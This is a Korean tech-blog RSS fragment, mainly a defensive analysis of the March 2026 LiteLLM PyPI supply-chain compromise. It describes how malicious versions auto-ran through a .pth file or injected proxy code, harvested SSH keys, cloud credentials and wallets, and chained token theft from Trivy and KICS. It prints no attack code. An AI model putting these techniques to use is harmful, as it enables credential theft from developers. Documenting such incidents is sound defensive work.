&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;DEV Community: &lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Does Claude Code Need Sleep? Inside the Unreleased Auto-dream Feature&lt;/a&gt; (akari_iku, 2026-03-24)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X: &lt;a href=&quot;https://x.com/JeremyNguyenPhD/status/2036279335221645345&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@JeremyNguyenPhD &amp;mdash; &quot;Claude Code's unreleased auto-dream feature&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38426&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #38426 &amp;mdash; /dream returns &quot;Unknown skill&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #38461 &amp;mdash; autoDreamEnabled true but /dream broken&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #38493 &amp;mdash; Auto-dream: 3 gaps&lt;/a&gt; (2026-03-25)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #39135 &amp;mdash; v2.1.84에서도 /dream 미작동 재확인&lt;/a&gt; (2026-03-26)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;시스템 프롬프트: &lt;a href=&quot;https://github.com/Piebald-AI/claude-code-system-prompts/blob/main/system-prompts/agent-prompt-dream-memory-consolidation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Piebald-AI &amp;mdash; Auto Dream 시스템 프롬프트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X: &lt;a href=&quot;https://x.com/kr0der/status/2036235321780621738&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@kr0der &amp;mdash; 최초 발견 트윗&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X: &lt;a href=&quot;https://x.com/om_patel5/status/2036513690803945625&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@om_patel5 &amp;mdash; 바이럴 스레드 (38K views)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Threads: &lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKjMoESz2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@sakeeb.rahman &amp;mdash; 4단계 프로세스 심층 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;claudefa.st: &lt;a href=&quot;https://claudefa.st/blog/guide/mechanics/auto-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Auto Dream: Memory Consolidation Feature Explained&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;논문: &lt;a href=&quot;https://arxiv.org/abs/2504.13171&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sleep-time Compute: Beyond Inference Scaling at Test-time&lt;/a&gt; (arXiv:2504.13171)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 메모리</category>
      <category>Auto Dream</category>
      <category>auto memory</category>
      <category>claude code</category>
      <category>CLAUDE.md</category>
      <category>Memory 2.0</category>
      <category>Sleep-time Compute</category>
      <category>메모리 관리</category>
      <category>자동 메모리</category>
      <category>클로드 메모리</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/564</guid>
      <comments>https://goddaehee.tistory.com/564#entry564comment</comments>
      <pubDate>Thu, 26 Mar 2026 22:39:14 +0900</pubDate>
    </item>
    <item>
      <title>pip install litellm 한 번으로 SSH 키가 털렸다 &amp;mdash; 2026 공급망 공격 분석 : 보안 도구가 감염 벡터가 되다</title>
      <link>https://goddaehee.tistory.com/563</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI API 키를 한곳에서 관리해 주는 패키지가, 그 API 키를 전부 훔쳐 갔다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjdcjq/dJMcaiQefdH/IfWWxxx7B0NEFKlLbPmpD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjdcjq/dJMcaiQefdH/IfWWxxx7B0NEFKlLbPmpD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjdcjq/dJMcaiQefdH/IfWWxxx7B0NEFKlLbPmpD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjdcjq%2FdJMcaiQefdH%2FIfWWxxx7B0NEFKlLbPmpD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2034&quot; height=&quot;1148&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 24일, 월 9,500만 다운로드의 Python 패키지 &lt;b&gt;LiteLLM&lt;/b&gt;에 악성코드가 심어졌다. 설치만 해도 SSH 키, 클라우드 인증 정보, .env 파일, 암호화폐 지갑까지 전부 수집해서 외부로 전송한다. 쿠버네티스 클러스터에서는 모든 노드에 관리자 권한 컨테이너를 심는다. 재부팅해도 살아남는 백도어까지 설치한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 검증된 보안 리포트(Wiz, Endor Labs, FutureSearch, The Hacker News)를 기반으로 사건의 전모, 악성코드의 기술적 구조, 영향 범위, 그리고 지금 당장 해야 할 대응 방법을 정리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0jhNX/dJMcadVIv6F/WAQxrkPclwPN7btTe0RNiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0jhNX/dJMcadVIv6F/WAQxrkPclwPN7btTe0RNiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0jhNX/dJMcadVIv6F/WAQxrkPclwPN7btTe0RNiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0jhNX%2FdJMcadVIv6F%2FWAQxrkPclwPN7btTe0RNiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1094&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;사건 개요 &amp;mdash; 무슨 일이 벌어졌는가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;TeamPCP 연쇄 공격 타임라인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;감염 경로 &amp;mdash; 보안 도구가 감염 벡터가 되다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;악성코드 기술 분석 &amp;mdash; 3단계 공격 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;발견 경위 &amp;mdash; 악성코드의 버그가 구한 세상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;영향 범위 &amp;mdash; 내가 위험한가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;지금 당장 해야 할 대응 방법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;교훈 &amp;mdash; 바이브 코딩 시대의 공급망 보안&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 20px; border-radius: 12px; border-left: 5px solid #dc3545; margin-bottom: 30px;&quot;&gt;&lt;b&gt;LiteLLM 공급망 공격 요약 (2026-03-24)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600; width: 140px;&quot;&gt;공격자&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;TeamPCP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;감염 버전&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;1.82.7, 1.82.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;감염 경로&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;Trivy CI/CD 공급망 공격 &amp;rarr; PyPI 토큰 탈취 &amp;rarr; 악성 버전 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;악성코드 행위&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;인증 정보 수집 &amp;rarr; AES-256 + RSA-4096 암호화 후 외부 전송 &amp;rarr; 영구 백도어 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;영향 범위&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;월 9,500만 다운로드, 클라우드 환경의 36%에 존재 (Wiz 추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;현재 상태&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;감염 버전 제거됨. PyPI 전체 패키지 격리 중 (신규 설치 불가). BerriAI 릴리스 중단 상태 (2026-03-26 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research&lt;/a&gt;, &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt;, &lt;a href=&quot;https://www.endorlabs.com/learn/teampcp-isnt-done-threat-actor-behind-trivy-and-kics-compromises-now-hits-litellms-95-million-monthly-downloads-on-pypi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Endor Labs&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 사건 개요 &amp;mdash; 무슨 일이 벌어졌는가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;LiteLLM이 뭔가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/BerriAI/litellm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM&lt;/a&gt;은 BerriAI가 만든 오픈소스 Python 라이브러리이자 프록시 서버다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wexgc/dJMcajay4i9/eSOKAHCM3KMlVpcKjJwLik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wexgc/dJMcajay4i9/eSOKAHCM3KMlVpcKjJwLik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wexgc/dJMcajay4i9/eSOKAHCM3KMlVpcKjJwLik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwexgc%2FdJMcajay4i9%2FeSOKAHCM3KMlVpcKjJwLik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2028&quot; height=&quot;1094&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI, Anthropic, Google, Azure, AWS Bedrock 등 &lt;b&gt;100개 이상의 LLM 서비스&lt;/b&gt;를 하나의 OpenAI 호환 인터페이스로 통합한다. 기업 입장에서는 여러 AI 서비스의 API 키를 한곳에서 관리하면서 모델을 자유롭게 전환할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 이 편의성이 공격자에게도 매력적이라는 것이다. LiteLLM이 설치된 서버에는 기업이 사용하는 &lt;b&gt;모든 AI 서비스의 API 키&lt;/b&gt;가 집중되어 있다. 열쇠를 보관하는 금고를 하나 뚫으면, 금고 안의 모든 열쇠가 유출 대상이 된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;패키지&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm (PyPI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;GitHub&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;BerriAI/litellm (Stars: 40,369개, 2026-03-25 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;월 다운로드&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;약 9,500만 회 (일 340만 회 이상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 보급률&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;전체 클라우드 환경의 36%에 존재 (Wiz 데이터)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;역할&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;100+ LLM 서비스를 OpenAI 호환 포맷으로 통합하는 게이트웨이&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research, 2026-03-24&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 일이 벌어졌나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 24일, LiteLLM의 악성 버전 &lt;b&gt;1.82.7&lt;/b&gt;(10:39 UTC)과 &lt;b&gt;1.82.8&lt;/b&gt;(10:52 UTC)이 PyPI에 업로드되었다. GitHub에는 대응하는 태그나 릴리스가 없었다. 정상적인 릴리스 프로세스를 우회하여 &lt;b&gt;PyPI에 직접 업로드&lt;/b&gt;된 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 버전의 감염 메커니즘은 다르다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.82.8&lt;/b&gt;에는 &lt;code&gt;litellm_init.pth&lt;/code&gt; 파일이 포함되어 있다. Python의 &lt;code&gt;.pth&lt;/code&gt; 파일은 인터프리터 시작 시 자동 실행된다. &lt;code&gt;import litellm&lt;/code&gt;을 호출할 필요 없이, &lt;b&gt;Python을 실행하기만 하면 악성코드가 작동&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.82.7&lt;/b&gt;은 &lt;code&gt;.pth&lt;/code&gt; 대신 &lt;code&gt;proxy_server.py&lt;/code&gt;에 악성코드가 삽입되어, &lt;code&gt;import litellm.proxy&lt;/code&gt; 시에 트리거된다. 프록시 서버를 실행하지 않으면 트리거되지 않지만, LiteLLM을 프록시로 사용하는 환경(대부분의 기업 환경)에서는 동일하게 위험하다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 대응 Issue #24518&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;FutureSearch가 PyPI에 최초 신고했고, PyPI가 격리(quarantine) 조치했다. &lt;b&gt;LiteLLM 공식 보안 공지에 따르면 영향 시간대는 10:39 UTC ~ 16:00 UTC (약 5시간 20분)&lt;/b&gt;이다. 감염 버전은 제거되었으며, 2026년 3월 26일 현재 &lt;b&gt;litellm 전체 패키지가 PyPI에서 격리 중&lt;/b&gt;이어서 어떤 버전도 &lt;code&gt;pip install litellm&lt;/code&gt;으로 설치할 수 없는 상태다. BerriAI는 공급망 검토가 완료될 때까지 새 릴리스를 중단했다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch, 2026-03-24&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. TeamPCP 연쇄 공격 타임라인&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GWfYq/dJMcaadGcQz/K0trEGv4WDbZd3RwSKdZGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GWfYq/dJMcaadGcQz/K0trEGv4WDbZd3RwSKdZGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GWfYq/dJMcaadGcQz/K0trEGv4WDbZd3RwSKdZGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGWfYq%2FdJMcaadGcQz%2FK0trEGv4WDbZd3RwSKdZGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2042&quot; height=&quot;1106&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건은 단독 범행이 아니다. &lt;b&gt;TeamPCP&lt;/b&gt;라는 공격 그룹이 보안 도구를 연쇄적으로 공격하며 신뢰 체인을 타고 올라간 계획적 캠페인이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;3월 19일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Trivy (Aqua Security)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;보안 취약점 스캐너&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;trivy-action의 77개 태그 중 76개를 악성 커밋으로 교체. CI/CD 파이프라인의 인증 정보를 수집하는 악성 페이로드 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;3월 23일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;KICS (Checkmarx)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;IaC 보안 스캐너&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;KICS GitHub Action을 12:58~16:50 UTC 사이에 감염. 해당 시간대에 이 Action을 사용한 모든 CI/CD에 악성코드 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;3월 24일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;LiteLLM (BerriAI)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;AI 게이트웨이&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;감염된 Trivy를 CI/CD에서 사용하던 LiteLLM의 PyPI 토큰이 탈취됨. 악성 버전 1.82.7, 1.82.8 직접 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;패턴이 보인다. &lt;b&gt;보안 도구를 먼저 감염시키고, 그 보안 도구를 사용하는 다음 타겟의 인증 정보를 수집하여 연쇄 공격&lt;/b&gt;을 이어간다. Wiz에 따르면 TeamPCP는 GitHub Actions, Docker Hub, npm, Open VSX, PyPI 등 &lt;b&gt;5개 패키지 생태계&lt;/b&gt;에 걸쳐 공격을 확장했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;공급망 공격의 핵심: 신뢰 체인 악용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 해킹은 방화벽이나 인증 시스템을 뚫는다. 공급망 공격은 &lt;b&gt;이미 신뢰받는 도구 자체를 감염&lt;/b&gt;시킨다. CI/CD 파이프라인에서 &quot;보안 스캐너&quot;로 등록된 Trivy가 감염되면, 보안 스캐너를 실행하는 행위 자체가 인증 정보 유출 행위가 된다. 보안 도구가 감염 벡터가 되는 아이러니다.&lt;/p&gt;
&lt;/div&gt;
